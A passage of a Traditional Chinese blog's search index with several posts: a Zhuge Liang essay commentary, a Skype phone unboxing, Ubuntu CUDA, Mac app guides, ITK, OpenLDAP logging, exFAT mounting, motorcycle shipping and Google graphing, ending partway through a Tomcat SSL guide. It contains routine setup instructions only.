「君子」是指有得道的人，知曉天地間的大道，明白日月運行、陰陽交替的規律，君子的行為，戰戰兢兢，如臨深淵，如履薄冰，隨時隨地都保持著中和之道，執其兩端而用其中。\n清淨經曰：「人能常清靜，天地悉皆歸」，又曰：「夫人神好清，而心擾之；人心好靜，而慾牽之。常能遣其慾，而心自靜；澄其心，而神自清。自然六慾不生，三毒消滅。」，因此要修身必須革除過多的慾望，讓自身回復清靜，身心性結合，顯現真如本性，自然達到「不勉而中，不思而得，從容中道」的聖人境界。\n「德者，道之用也」，道的本體是虛靜的、無私的、慈悲的、博愛的，而德由道生，失道則失德，若要培養自身的品格與德性，自身必須先要有道，本著慈悲與博愛之心，利益他人。\n道德經曰：「上善若水，水利萬物而不爭」，學習「水」的精神，不與人爭名奪利，反而無私奉獻，透過這樣的修持，「助人為快樂之本」，內心隨時充滿法喜。\n又曰：「持而盈之，不如其已；揣而銳之，不可長保。金玉滿堂，莫之能守；富貴而驕，自遺其咎。功成身退，天之道也。」，凡事奉獻自身的努力，但事成之後，要能「功成身退」，不居功、不伐善，將所有功勞歸於大眾，不受名利枷鎖的牽絆，自身逍遙自在，能夠達到這樣「身心皆儉」的工夫，才能培養真正的德性，可成就自身浩瀚的人格，發揚人性的光輝，其所帶來的喜樂無以言喻。\n待續…\n","permalink":"https://blog.gtwang.org/life/zhuge-liang-wisdom/","summary":"\u003cp\u003e\u003cstrong\u003e夫君子之行，\u003c/strong\u003e\n\u003cstrong\u003e靜以修身，儉以養德；\u003c/strong\u003e\n\u003cstrong\u003e非澹泊無以明志，非寧靜無以致遠。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e夫學須靜也，才須學也；\u003c/strong\u003e\n\u003cstrong\u003e非學無以廣才，非志無以成學。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e怠慢則不能勵精，險躁則不能冶性。\u003c/strong\u003e\n\u003cstrong\u003e年與時馳，意與歲去，遂成枯落，多不接世。\u003c/strong\u003e\n\u003cstrong\u003e悲守窮廬，將復何及！\u003c/strong\u003e\u003c/p\u003e","title":"諸葛亮給子書：孔明的人生智慧"},{"content":"最近看到 PCHome 的春季電腦展有在特價一款專門用於 Skype 的電話機，只要有網路，不需要開電腦就可以打 Skype，兩千有找，看起來還不錯，如果常常打電話，幾個月就回本了，算一算好像很划算，就直接給它買下來了。\n下面這些是裡面主要的內容，除了電話機與話筒之外，還有變壓器與一條 RJ-45 的網路線，\n這個大概也不用看說明書了，直接組一組插上電源與網路線就可以用了，這隻電話支援多國語言（當然包含繁體中文），一開始預設是英文的，如果不適應英文界面，可以先調成中文界面再使用，另外網路的部分如果您是使用 IP 分享器（也就是 DHCP 自動取得網路位址的），那就什麼都不用設定，插上去就可以登入 Skype 了，若是使用一般固定位址的網路設定，就要自己再去設定 IP 位址、網路遮罩（netmask）、預設閘道（default gateway）與名稱伺服器（DNS） 。\n這隻 Skype 電話在登入時，可以將帳號密碼儲存在裡面，這樣下次只要一插電，他就或自動開機與登入，對於我這種懶人來說很方便。\n另外買這隻電話也有送 Skype 30分鐘通話點數，雖然不多，但是也加減用吧！\n","permalink":"https://blog.gtwang.org/unboxing/teco-skype-phone/","summary":"\u003cp\u003e最近看到 PCHome 的春季電腦展有在特價一款專門用於 Skype 的電話機，只要有網路，不需要開電腦就可以打 Skype，兩千有找，看起來還不錯，如果常常打電話，幾個月就回本了，算一算好像很划算，就直接給它買下來了。\u003c/p\u003e","title":"東元 TECO 免電腦 Skype 電話開箱"},{"content":"Ubuntu Linux 12.04 LTS（Long Term Support）在 2012 年 4 月釋出，代號為 Precise Pangolin，由於這個版本是 LTS 長期支援版，所以 Ubuntu 對於這個版本所提供的更新服務會持續五年（一般的版本只有三年），也就是可以更新到 2017 年，所以若是作為伺服器使用的系統可以選擇這樣的版本。\nNVIDIA CUDA 目前的最新版本是 4.2，但是因為 Ubuntu Linux 12.04 LTS 才剛剛釋出，所以 NVIDIA 官方支援的 Linux 不會包含 Ubuntu Linux 12.04 LTS，不過其實下載 CUDA for Ubutnu 11.04 的版本，也是可以在 Ubuntu Linux 12.04 LTS 上使用的。\n要安裝的第一步就是到 NVIDIA CUDA 網站下載 CUDA Toolkit 與 CUDA SDK，而 Driver 的部分其實可以不用下載，直接使用 Ubutnu 內建的就可以了，雖然版本不是最新的，不過其實只差一點點，通常沒什麼影響，而且這樣安裝上方便很多。\n安裝 NVIDIA 驅動程式 首先安裝 NVIDIA Driver，直接用 Ubuntu 內建的 Driver 安裝方式是最簡單的，到 System Setting 中選擇 Additional Drivers：\n然後則要安裝的版本，建議直接裝 current 版本（也就是最新的版本），安裝完成後還要記得重新開機，下面這個是安裝完成後的 Additional Drivers 畫面：\n安裝 NVIDIA CUDA Tookit 接著就可以安裝 CUDA Toolkit 了，直接執行下載下來的安裝檔：\nchmod +x cudatoolkit_4.2.9_linux_64_ubuntu11.04.run sudo ./cudatoolkit_4.2.9_linux_64_ubuntu11.04.run 預設是安裝在 /usr/local/cuda 目錄下，建議就依照他的預設路徑安裝，安裝完成後要設定 Library 的 Path，有兩個方式，一種是更改 LD_LIBRARY_PATH 環境變數，但我習慣直接加在 /etc/ld.so.conf.d/ 裡面：\nsudo echo \u0026#34;/usr/local/cuda/lib64\u0026#34; \u0026gt; /etc/ld.so.conf.d/cuda.conf sudo echo \u0026#34;/usr/local/cuda/lib\u0026#34; \u0026gt;\u0026gt; /etc/ld.so.conf.d/cuda.conf sudo ldconfig 再設定 PATH：\necho \u0026#39;export PATH=$PATH:/usr/local/cuda/bin\u0026#39; \u0026gt;\u0026gt; ~/.bashrc 安裝 NVIDIA CUDA SDK 直接執行下載回來的安裝檔：\nchmod +x gpucomputingsdk_4.2.9_linux.run ./gpucomputingsdk_4.2.9_linux.run 接著安裝程式會詢問安裝路徑，建議直接按 Enter 使用預設值，\nEnter install path (default ~/NVIDIA_GPU_Computing_SDK): 然後會詢問 CUDA Toolkit 的安裝路徑：\nCould not locate CUDA. Enter the full path to CUDA. If you do not know the path, accept the default and then modify the CUDA_INSTALL_PATH variable in /home/seal/NVIDIA_GPU_Computing_SDK/C/common/common.mk. Enter CUDA install path (default /usr/local/cuda): 若 CUDA 都是依照預設路徑安裝，則這裡就不需要更動，直接按 Enter 就可以了。\n編譯 接著要進行編譯的部分，首先安裝一些基本編譯用的套件：\nsudo apt-get install build-essential libx11-dev libglu1-mesa-dev freeglut3-dev libxi-dev libxmu-dev 另外因為 CUDA 需要使用 gcc 4.4 來編譯，所以要再安裝 4.4 版的 gcc：\nsudo apt-get install gcc-4.4 g++-4.4 然後在更改一下編譯的設定，編輯 ~/NVIDIA_GPU_Computing_SDK/C/common/common.mk 這個設定檔，大約在第 58 行附近，將編譯器都改為 4.4 版的 gcc：\n# Compilers NVCC := $(CUDA_INSTALL_PATH)/bin/nvcc CXX := g++-4.4 -fPIC CC := gcc-4.4 -fPIC LINK := g++-4.4 -fPIC 另外在第 255 行附近，加入 NVIDIA 的 Library 路徑（-L/usr/lib/nvidia-current）：\nifeq \u0026#34;$(strip $(HP_64))\u0026#34; \u0026#34;\u0026#34; ifeq ($(x86_64),1) LIB := -L$(CUDA_INSTALL_PATH)/lib64 -L$(LIBDIR) -L$(COMMONDIR)/lib/$(OSLOWER) -L$(SHAREDDIR)/lib -L/usr/lib/nvidia-current else LIB := -L$(CUDA_INSTALL_PATH)/lib -L$(LIBDIR) -L$(COMMONDIR)/lib/$(OSLOWER) -L$(SHAREDDIR)/lib -L/usr/lib/nvidia-current endif else ifeq ($(i386),1) LIB := -L$(CUDA_INSTALL_PATH)/lib -L$(LIBDIR) -L$(COMMONDIR)/lib/$(OSLOWER) -L$(SHAREDDIR)/lib -L/usr/lib/nvidia-current else LIB := -L$(CUDA_INSTALL_PATH)/lib64 -L$(LIBDIR) -L$(COMMONDIR)/lib/$(OSLOWER) -L$(SHAREDDIR)/lib -L/usr/lib/nvidia-current endif endif 這樣就可以開始編譯了，進到 ~/NVIDIA_GPU_Computing_SDK/C 這個目錄，執行 make 編譯：\ncd ~/NVIDIA_GPU_Computing_SDK/C make 等待編譯完成就可以使用 CUDA 了。\n另外提醒一點，要使用有 OpenGL 的程式時，最好使用 Ubuntu 2D 的模式登入，不然執行程式時，畫面會很不順。\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-1204-lts-nvidia-cuda-42/","summary":"\u003cp\u003eUbuntu Linux 12.04 LTS（Long Term Support）在 2012 年 4 月釋出，代號為 Precise Pangolin，由於這個版本是 LTS 長期支援版，所以 Ubuntu 對於這個版本所提供的更新服務會持續五年（一般的版本只有三年），也就是可以更新到 2017 年，所以若是作為伺服器使用的系統可以選擇這樣的版本。\u003c/p\u003e","title":"Ubuntu Linux 12.04 LTS 安裝 NVIDIA CUDA 4.2"},{"content":"Google 終於推出雲端硬碟服務了，名稱叫做 Google Drive，免費提供 5G 的空間儲存任何檔案，下面是 Google 官方的簡介影片：\nGoogle Drive 標榜可以讓使用者儲存任何檔案，不論在任何地方，只要可以連上網路，就可以存取 Google Drive 上面的資料，除了一般 PC 之外，也支援 Mac 系統、iPad、iPhone 與 Android 的手機或平板電腦。\n接下來就來介紹 Mac 中如何使用 Google Drive，首先進入 Google Drive 雲端硬碟（介面看起來其實就是以前的 Google Docs），\n在頁面的中間有一個「下載 Mac 版 Google 雲端硬碟」，直接點下去，接著就會跳到下載頁面，\n點選「Download Google Drive」，接著會跳出確認條款的訊息，\n這個大概也沒多少人在看，直接點選「Agree and download」就可以下載 dmg 檔了，下載下來的 dmg 檔直接打開，\n將「Google Drive」的圖示直接用滑鼠拖進「Applications」資料夾之後，再從「應用程式」中開啓，\n或是在 LaunchPad 中開啓也可以，\n開啟時系統會詢問是否要打開從 Internet 下載的應用程式，\n直接點選打開，接著 Google Drive 要對系統做一些更動，所以要輸入系統的密碼，\n接著要輸入 Google 的帳號與密碼，\n登入 Google 之後，在使用 Google Drive 之前要先進行一些設定，第一步就是要建立一個同步用的特殊資料夾，所有放在這個資料夾中的資料都會同步自動同步到 Google Drive 雲端硬碟中，\n這裡直接點選「Next」，接著要選擇如何進行檔案的同步，\n如果要用預設的同步選項，就直接點選「Start sync」就可以了，這樣會將所有 Google Docs 上面的資料同步至自己的電腦中，或是點選「Advanced setup」選擇要同步的資料夾，\n最後，點選「Start sync」，Google Drive 就會開始同步了，同步的情況可以由右上方的系統工具列中看到，\n這時候，在自己的家目錄中會有一個 Google Drive 資料夾，\n現在只要將要傳到 Google Drive 的檔案直接放進 Google Drive 資料夾，就會自動上傳至 Google Drive 雲端硬碟，跟 Dropbox 的使用方式很像。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-google-drive/","summary":"\u003cp\u003eGoogle 終於推出雲端硬碟服務了，名稱叫做 Google Drive，免費提供 5G 的空間儲存任何檔案，下面是 Google 官方的簡介影片：\u003c/p\u003e\n\u003cp\u003eGoogle Drive 標榜可以讓使用者儲存任何檔案，不論在任何地方，只要可以連上網路，就可以存取 Google Drive 上面的資料，除了一般 PC 之外，也支援 Mac 系統、iPad、iPhone 與 Android 的手機或平板電腦。\u003c/p\u003e","title":"在 Mac OS X 中使用 Google Drive 雲端硬碟"},{"content":"在台灣應大多數人都是用 MSN 與 Yahoo Messenger 在聊天，像我的朋友就都是使用 MSN，不過在 Mac OS X 之中，目前 MSN 最新的版本是 Messenger for Mac 8，但是用起來感覺很不穩，常常會當掉，相較於 Windows 版本的 Messenger 簡直是不堪使用（不知道是不是微軟不太想理 Mac 的使用者），用到受不了只好來找個替代軟體。\n之前在 Linux 中都是用 emesene 或 Pidgin，而在 Mac 中網路上最推薦的就是 Adium，他是開放原始碼的自由軟體，而且是原生的 Mac 應用軟體（使用 Mac OS X Cocoa API），所以執行起來速度沒話說，另外它使用 Libpurple 函式庫（Pidgin 的核心），所以在穩定性上也是一級棒，在 Pidgin 的官方網站也推薦 Mac 使用者使用 Adium。\n要安裝 Adium 首先到 Adium 官方網站下載 dmg 安裝檔，若是 Mac 的使用者應該對於 dmg 檔很熟悉，下載下來後就按照一般的程序安裝，第一步開啓 dmg 檔，就會出現：\n直接將那隻綠色的鴨子（應該是鴨子吧）用滑鼠拖進右邊的 Applications 資料夾中就可以了（就像圖形中畫的那樣）。然後在 LaunchPad 或是在應用程式資料夾中開啓 Adium，第一次起動時要設定帳號，Adium 支援非常多協定，例如 MSN、Facebook、Yahoo Messenger 等，若您同時會使用多個聊天協定，也可以同時將所有的帳號設定在 Adium 中，它可以同時將不同的帳號整和在一起使用。\n選擇協定之後，再輸入帳號與密碼，\n這樣就可以使用了，Adium 的界面跟 Pidgin 很像，\n聊天視窗也還不錯，\n接下來順便加入 Facebook 的帳號，選擇「檔案」-\u0026gt;「新增帳號」-\u0026gt;「Facebook」開啟編輯帳號視窗，按下「允許啓用」\n輸入 Facebook 帳號與密碼：\n接著就點選「使用 Facebook 帳號登入」，再點選「同意」就可以了，若看到下面這個畫面就代表設定完成了，\nAdium 會標示每個聯絡人所使用的通訊協定，將滑鼠移到聯絡人上，就會顯示，\nAdium 還有一些小功能，包含支援 OTR 加密聊天（但是要對方也支援才能使用），感覺上很方便。\n","permalink":"https://blog.gtwang.org/mac-os/mac-os-x-adium/","summary":"\u003cp\u003e在台灣應大多數人都是用 MSN 與 Yahoo Messenger 在聊天，像我的朋友就都是使用 MSN，不過在 Mac OS X 之中，目前 MSN 最新的版本是 Messenger for Mac 8，但是用起來感覺很不穩，常常會當掉，相較於 Windows 版本的 Messenger 簡直是不堪使用（不知道是不是微軟不太想理 Mac 的使用者），用到受不了只好來找個替代軟體。\u003c/p\u003e","title":"Adium：Mac 中的即時通（支援 MSN、Facebook、Yahoo 等）"},{"content":"示範使用 C++ 與 ITK 函式庫從 3D 的影像中取出其中一張 slice 的做法，主要利用 itk::ExtractImageFilter 這個 filter 來達成，詳細的作法如下，首先用 typedef 定義 3D 與 2D 的影像類型：\ntypedef itk::Image\u0026lt; unsigned char, 3 \u0026gt; SCALAR_3D_IMAGE; typedef itk::Image\u0026lt; unsigned char, 2 \u0026gt; SCALAR_2D_IMAGE; 接著使用 itk::ImageFileReader 讀取原始的 3D 影像：\nitk::ImageFileReader\u0026lt; SCALAR_3D_IMAGE \u0026gt;::Pointer reader =\u0026amp;nbsp;itk::ImageFileReader\u0026lt; SCALAR_3D_IMAGE \u0026gt;::New(); reader-\u0026gt;SetFileName(imageFilename); 其中 imageFilename 要換成自己的檔案名稱，接著設定要取出的 slice，假設每張 slice 影像的大小是 512x512，要擷取其中的第 23 張，則：\nSCALAR_3D_IMAGE::IndexType desiredStart; desiredStart.SetElement(0, 0); desiredStart.SetElement(1, 0); desiredStart.SetElement(2, 22); SCALAR_3D_IMAGE::SizeType desiredSize; desiredSize.SetElement(0, 512); desiredSize.SetElement(1, 512); desiredSize.SetElement(2, 0); SCALAR_3D_IMAGE::RegionType desiredRegion(desiredStart, desiredSize); 注意這裡的 desireSize 第三個維度指定為 0，這樣 ITK 在轉換時就會自動把 size 為 0 的維度去掉，也就是會把 3D 的資料轉為 2D，若是設為 1 的話，產生的資料就會是三維空間中的 slice。\n接著使用 itk::ExtractImageFilter 從 3D 的 volume 中取出指定的 2D slice：\nitk::ExtractImageFilter\u0026lt; SCALAR_3D_IMAGE, SCALAR_2D_IMAGE \u0026gt;::Pointer extractFilter = itk::ExtractImageFilter\u0026lt; SCALAR_3D_IMAGE, SCALAR_2D_IMAGE \u0026gt;::New(); extractFilter-\u0026gt;SetInput(reader-\u0026gt;GetOutput()); extractFilter-\u0026gt;SetExtractionRegion(desiredRegion); extractFilter-\u0026gt;SetDirectionCollapseToIdentity(); extractFilter-\u0026gt;Update(); SCALAR_2D_IMAGE* slice = extractFilter-\u0026gt;GetOutput(); 其中 slice 就是取出的 2D 圖。\n","permalink":"https://blog.gtwang.org/programming/itk-3d-image-2d-slice/","summary":"\u003cp\u003e示範使用 C++ 與 \u003ca href=\"https://www.itk.org/\"\u003eITK 函式庫\u003c/a\u003e從 3D 的影像中取出其中一張 slice 的做法，主要利用 \u003ccode\u003eitk::ExtractImageFilter\u003c/code\u003e 這個 filter 來達成，詳細的作法如下，首先用 \u003ccode\u003etypedef\u003c/code\u003e 定義 3D 與 2D 的影像類型：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003eitk\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eImage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eSCALAR_3D_IMAGE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003etypedef\u003c/span\u003e \u003cspan class=\"n\"\u003eitk\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eImage\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eSCALAR_2D_IMAGE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接著使用 \u003ccode\u003eitk::ImageFileReader\u003c/code\u003e 讀取原始的 3D 影像：\u003c/p\u003e","title":"使用 ITK 從 3D 的 Image 中擷取 2D 的 slice"},{"content":"OpenLDAP 預設會透過 rsyslog 的 local4 記錄所有的訊息（log），若是沒有特別的設定的話，這些記錄通常會跟系統的一些雜七雜八的訊息一起記錄到 /var/log/rsyslog 中，這樣的話要查閱記錄檔時就很辛苦了。\n這裡介紹如何將所有記錄至 local4 的訊息另外指定儲存的檔案，並設定 logrotate 定期壓縮過時的記錄檔，這個設定方式也可以用於其他的 facility 設定，logrotate 提供 8 個 facility 給一般性的自定用途，從 local0 到 local7，設定的方式都是一樣的。\n首先設定 rsyslog，將所有 local4 的訊息寫入 /var/log/ldap/ldap.log，設定的方式最主要的就是在 /etc/rsyslog.d 中加入一個設定檔 30-ldap.conf，內容如下：\n# LDAP logs local4.* -/var/log/ldap/ldap.log # Uncomment the following to stop logging anything that matches the last rule. # Doing this will stop logging kernel generated UFW log messages to the file # normally containing kern.* messages (eg, /var/log/kern.log) \u0026amp; ~ 這樣就可以了，接著再設定 logrotate，讓系統定期整理記錄檔，將舊的檔案自動壓縮，更舊的就自動刪除，做法也很簡單，在 /etc/logrotate.d/ 中加入一個檔案 ldap，檔案內容如下：\nvar/log/ldap/ldap.log { rotate 24 monthly missingok notifempty compress delaycompress sharedscripts postrotate reload rsyslog \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 || true endscript } 這個設定是讓系統每個月定期整理記錄檔（monthly），保留 24 個月的記錄（rotate 24），將舊的記錄檔自動壓縮（compress），保留上個月的記錄檔不壓縮（delaycompress），也就是從上上個月的記錄檔開始壓縮，這樣可以方便查閱。\n這樣就可以了，最後記得重新啟動 rsyslog 讓新的設定檔生效，若是 ubuntu 的話就執行：\nservice rsyslog restart reload rsyslog ","permalink":"https://blog.gtwang.org/linux/openldap-log-rsyslog/","summary":"\u003cp\u003eOpenLDAP 預設會透過 rsyslog 的 local4 記錄所有的訊息（log），若是沒有特別的設定的話，這些記錄通常會跟系統的一些雜七雜八的訊息一起記錄到 /var/log/rsyslog 中，這樣的話要查閱記錄檔時就很辛苦了。\u003c/p\u003e","title":"OpenLDAP 的 Log 檔設定（rsyslog）"},{"content":"若要在 Ubuntu Linux 底下掛載 exFAT 格式的硬碟，必須先安裝 exfat-fuse 套件，用 apt 來安裝：\nsudo apt-get install exfat-fuse 如果您的 Ubuntu Linux 比較舊，沒有 exfat-fuse 套件的話，則可以試試：\nsudo apt-add-repository ppa:relan/exfat sudo apt-get update sudo apt-get install exfat-fuse 接著插上 exFAT 格式的 USB 碟，從 /proc/partitions 中找出 USB 碟的位置：\ncat /proc/partitions 輸出大概長成這樣：\nmajor minor #blocks name 8 0 390711384 sda 8 1 374852608 sda1 8 2 1 sda2 8 5 15856640 sda5 8 16 488386584 sdb 8 17 488386583 sdb1 8 32 15851520 sdc 8 33 15851504 sdc1 這個可用磁碟大小判斷，通常是最後一個。\n如果是一般硬碟做法也差不多，關機之後裝上硬碟再開機，一樣再看看 /proc/partitions 的內容判斷硬碟位置。\n接著再用 mount 掛載：\ncd /media sudo -s mkdir usbdrive mount -t exfat /dev/sdb1 usbdrive 這樣就大功告成啦！\n","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-mount-exfat/","summary":"\u003cp\u003e若要在 Ubuntu Linux 底下掛載 exFAT 格式的硬碟，必須先安裝 \u003ccode\u003eexfat-fuse\u003c/code\u003e 套件，用 apt 來安裝：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-get install exfat-fuse\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e如果您的 Ubuntu Linux 比較舊，沒有 \u003ccode\u003eexfat-fuse\u003c/code\u003e 套件的話，則可以試試：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-add-repository ppa:relan/exfat\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-get update\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo apt-get install exfat-fuse\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接著插上 exFAT 格式的 USB 碟，從 /proc/partitions 中找出 USB 碟的位置：\u003c/p\u003e","title":"在 Ubuntu Linux 中掛載 exFAT 格式的硬碟"},{"content":"最近我弟弟去花連當兵，拜託我把他的機車寄過去，之前也沒寄過機車，這次剛好趁機會嘗試一次，後來才發現現在機車托運很方便，只要騎去有辦理機車托運的機車行，填個單子就行了，不過收件的地點只能指定當地有辦理托運的機車行或是據點，要寄的時候車行會給你一本清單，自己選擇要寄到哪裡，等到車子送到時再去領。\n清單厚厚一本，有全省的機車托運據點，裡面大約長成這樣：\n填個收件人資料就搞定了，就這麼簡單。\n我去的這家是翔順機車托運，貼個價格給大家參考，我從新竹縣竹北市縣寄到花蓮火車站旁的機車行，100cc 的機車運費要 850 元，若是 125cc 的話運費就要 900 元了，這個價格會因為地點不同而變動，大家看照片上的表就可以瞭解了。\n另外如果是寄到車行的話，可以選擇車到了再付款，若目的地不是選擇車行（像什麼XX美食館的），就要在寄的時候付錢，以上給大家參考看看。\n2013/03/31\n後來又寄了一台 100cc 的機車到台南，這因為要找比較進的收貨地點，所以換成「機車鏢局」來寄，100cc 的機車屬於一般車，寄到台南西港花了 800 元。\n基本上寄車的流程都不多，價位好像也差不多，不過機車鏢局填完寄車的單子之後，還會給客戶一張副本，這樣比較方便，不用自己記收貨地點的聯絡方式。\n這是機車鏢局的價目表：\n2013/04/05\n補上一張機車鏢局的托運單，去機車鏢局寄車之後，就會給一張這個單子，到時候就可以依照這張單子去領車。\n","permalink":"https://blog.gtwang.org/life/motorcycle-shipping/","summary":"\u003cp\u003e最近我弟弟去花連當兵，拜託我把他的機車寄過去，之前也沒寄過機車，這次剛好趁機會嘗試一次，後來才發現現在機車托運很方便，只要騎去有辦理機車托運的機車行，填個單子就行了，不過收件的地點只能指定當地有辦理托運的機車行或是據點，要寄的時候車行會給你一本清單，自己選擇要寄到哪裡，等到車子送到時再去領。\u003c/p\u003e","title":"機車托運教學，原來寄送機車很簡單"},{"content":"Google 搜尋引擎又有新功能了，這次是可以幫你畫出數學方程式的圖形，當使用者在搜尋列輸入數學方程式進行搜尋時，Google 就會自動幫您畫出方程式的圖形，這對於只是要看方程式圖形的人來說，真是太方便了！\n直接來看個最簡單的例子，直接到 Google 的首頁打上\nsin(x) 就像這樣：\n按下搜尋之後，Google 就會自動幫你畫出 sin(x) 的圖形（連結）：\n若是要同時畫出多個方程式，則用逗點分開：\nx/2, (x/2)^2, ln(x), cos(pi*x/5) 畫出來的圖形就像這樣（連結）：\n這些畫出來的圖形可以使用滑鼠放大、縮小或平移，使用上很方便，另外除了二維的圖形之外，他也支援 3D 的繪圖，其所利用的技術是最新的 WebGL 技術（所以您的瀏覽器要夠新，否則就沒辦法使用這個功能），可以及時劃出會動的 3D 圖形，接著看一個最簡單的例子：\nsin(x) + cos(y) 這樣就可以畫出 3D 的圖形了（連結）：\n另外看一個比較複雜的範例：\nsqrt(x*x+y*y)+3*cos(sqrt(x*x+y*y))+5 from -20 to 20 畫出的圖形為（連結）：\n這個圖形可以使用滑鼠來轉動，所以可以很方便的看到 3D 圖的每個方向，有了這麼方便的工具，就不用開 Matlab 了。\n另外附上一些有趣範例，大家可以玩玩看：\nsqrt(x*x+y*y)+3*cos(sqrt(x*x+y*y))+5 [連結] 1/(sin(abs(x)+x)-cos(abs(y)+y)) [連結] sin(5.5x)*cos(5*y)+x*x+1 [連結] 5000-140*(x*x+y*y)+(x*x+y*y)^2 [連結] sin(x^2+y^2)/(abs(x*y)+1) from -2.5 to 2.5 [連結] tanh(y(y^4+5x^4-10(x^2)(y^2))/(x^2+y^2)^4) [連結] (x^2+((3 y)/2-(x^2+abs(x)-6)/(x^2+abs(x)+2))^2)-36 [連結] sin(5.5x)*cos(5*y)+x*x+1 x is from -1 to 1, y is from -1 to 1, z is from 0.1 to 2.8 [連結] 100-3/(sqrt(x^2+y^2))+sin(sqrt(x^2+y^2)), x is from -10 to 10, y is from -10 to 10, z is from 85 to 101 [連結] 5 + (-sqrt(1-x^2-(y-abs(x))^2))*cos(30*((1-x^2-(y-abs(x))^2))), x is from -1 to 1, y is from -1 to 1.5, z is from 1 to 6 [連結] 100-3/(sqrt(x^2+y^2))+sin(sqrt(x^2+y^2))+sqrt(200-(x^2+y^2)+10*sin(x)+10sin(y))/1000, x is from -15 to 15, y is from -15 to 15, z is from 90 to 101 [連結] sqrt(x*x+y*y)+50*tan(sqrt(x*x+y*y)) [連結] exp(-((x-4)^2+(y-4)^2)^2/1000) + exp(-((x+4)^2+(y+4)^2)^2/1000) + 0.1exp(-((x+4)^2+(y+4)^2)^2)+0.1exp(-((x-4)^2+(y-4)^2)^2) [連結] sqrt(cos(3*x))*cos(100*y)+1.5*sqrt(abs(x)) + 0.8 x is from -1 to 1, y is from -1 to 1, z is from 0.01 to 2.5 [連結] sqrt(x*y+y*y)+3*sin(sqrt(x*x+y*y))+5 from -20 to 20 [連結] sqrt(x*x+y*y)+3*tan(sqrt(x*x+y*y))+10 [連結] x^2+y^2+x*y*sin(x+y) from -20 to 20 [連結] ","permalink":"https://blog.gtwang.org/useful-tools/webgl-demo-google-search-3d-graph/","summary":"\u003cp\u003eGoogle 搜尋引擎又有新功能了，這次是可以幫你畫出數學方程式的圖形，當使用者在搜尋列輸入數學方程式進行搜尋時，Google 就會自動幫您畫出方程式的圖形，這對於只是要看方程式圖形的人來說，真是太方便了！\u003c/p\u003e","title":"用 Google 畫數學方程式的圖"},{"content":"記錄如何讓 Tomcat 支援 SSL 加密，因為工作太忙了，現在沒時間寫的那麼詳細，所以只記錄重點。\nTomcat SSL 設定 這是最直接的做法，首先產生 keysotre：\ncd /usr/share/tomcat7 keytool -genkey -alias tomcat 再編輯 /etc/tomcat7/server.xml，開啟 SSL 功能：\n\u0026lt;Connector port=\u0026#34;8443\u0026#34; protocol=\u0026#34;HTTP/1.1\u0026#34; SSLEnabled=\u0026#34;true\u0026#34; maxThreads=\u0026#34;150\u0026#34; scheme=\u0026#34;https\u0026#34; secure=\u0026#34;true\u0026#34; clientAuth=\u0026#34;false\u0026#34; sslProtocol=\u0026#34;TLS\u0026#34; keystoreFile=\u0026#34;/usr/share/tomcat7/.keystore\u0026#34; keystorePass=\u0026#34;secret_password\u0026#34; /\u0026gt; 重新啓動 Tomcat：\nservice tomcat7 restart 大功告成！\n透過 Apache 提供 SSL 加密 另外一個方式是透過 Apache 來提供 SLL 加密，一般 Tomcat 的 port 都是開在 8080，所以通常都要透過 Apache 來整合至 80 port，直接使用 Apache 的加密也比較單純。\n首先開啟 Apache SSL 模組：\na2enmod ssl 接著設定 Apache 的 Proxy 功能，開啟兩個模組：\na2enmod proxy a2enmod proxy_ajp 在 Apache 設定檔中加入 Proxy 設定，以筆者的 Ubuntu 系統而言是加在 